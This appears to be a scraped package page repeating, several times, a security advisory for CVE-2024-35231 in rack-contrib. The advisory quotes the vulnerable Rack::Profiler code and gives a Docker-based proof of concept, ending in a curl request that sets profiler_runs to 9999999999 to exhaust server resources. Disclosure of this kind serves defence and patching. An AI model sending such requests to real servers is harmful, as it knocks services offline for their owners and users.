An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

Potential denial of service by remotely user-controlled data.

Affected versions


          0.9.0


          0.9.2


          1.0.0


          1.0.1


          1.1.0


          1.2.0


          1.2.0.39.g17d21b4


          1.3.0


          1.4.0


          1.5.0


          1.6.0


          1.7.0

+ 7 more


            1.8.0


            2.0.0


            2.0.1


            2.1.0


            2.2.0


            2.3.0


            2.4.0

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 19, 2010

1.0.1 patch

1 CVE

CVE-2024-35231 GHSA-8c8q-2xw3-j869 May 28, 2024

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

8.6 / 10

High

Network Low None None Changed None None High

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

Potential denial of service by remotely user-controlled data.

Affected versions


          0.9.0


          0.9.2


          1.0.0


          1.0.1


          1.1.0


          1.2.0


          1.2.0.39.g17d21b4


          1.3.0


          1.4.0


          1.5.0


          1.6.0


          1.7.0

+ 7 more


            1.8.0


            2.0.0


            2.0.1


            2.1.0


            2.2.0


            2.3.0


            2.4.0

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jun 09, 2010

1.0.0 major

1 CVE

CVE-2024-35231 GHSA-8c8q-2xw3-j869 May 28, 2024

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

8.6 / 10

High

Network Low None None Changed None None High

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

Potential denial of service by remotely user-controlled data.

Affected versions


          0.9.0


          0.9.2


          1.0.0


          1.0.1


          1.1.0


          1.2.0


          1.2.0.39.g17d21b4


          1.3.0


          1.4.0


          1.5.0


          1.6.0


          1.7.0

+ 7 more


            1.8.0


            2.0.0


            2.0.1


            2.1.0


            2.2.0


            2.3.0


            2.4.0

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jun 07, 2010

0.9.2 patch

1 CVE

CVE-2024-35231 GHSA-8c8q-2xw3-j869 May 28, 2024

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

8.6 / 10

High

Network Low None None Changed None None High

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

Potential denial of service by remotely user-controlled data.

Affected versions


          0.9.0


          0.9.2


          1.0.0


          1.0.1


          1.1.0


          1.2.0


          1.2.0.39.g17d21b4


          1.3.0


          1.4.0


          1.5.0


          1.6.0


          1.7.0

+ 7 more


            1.8.0


            2.0.0


            2.0.1


            2.1.0


            2.2.0


            2.3.0


            2.4.0

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 07, 2009

0.9.0 initial

1 CVE

CVE-2024-35231 GHSA-8c8q-2xw3-j869 May 28, 2024

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

8.6 / 10

High

Network Low None None Changed None None High

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

Potential denial of service by remotely user-controlled data.

Affected versions


          0.9.0


          0.9.2


          1.0.0


          1.0.1


          1.1.0


          1.2.0


          1.2.0.39.g17d21b4


          1.3.0


          1.4.0


          1.5.0


          1.6.0


          1.7.0

+ 7 more


            1.8.0


            2.0.0


            2.0.1


            2.1.0


            2.2.0


            2.3.0


            2.4.0

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 23, 2009

Activity

Details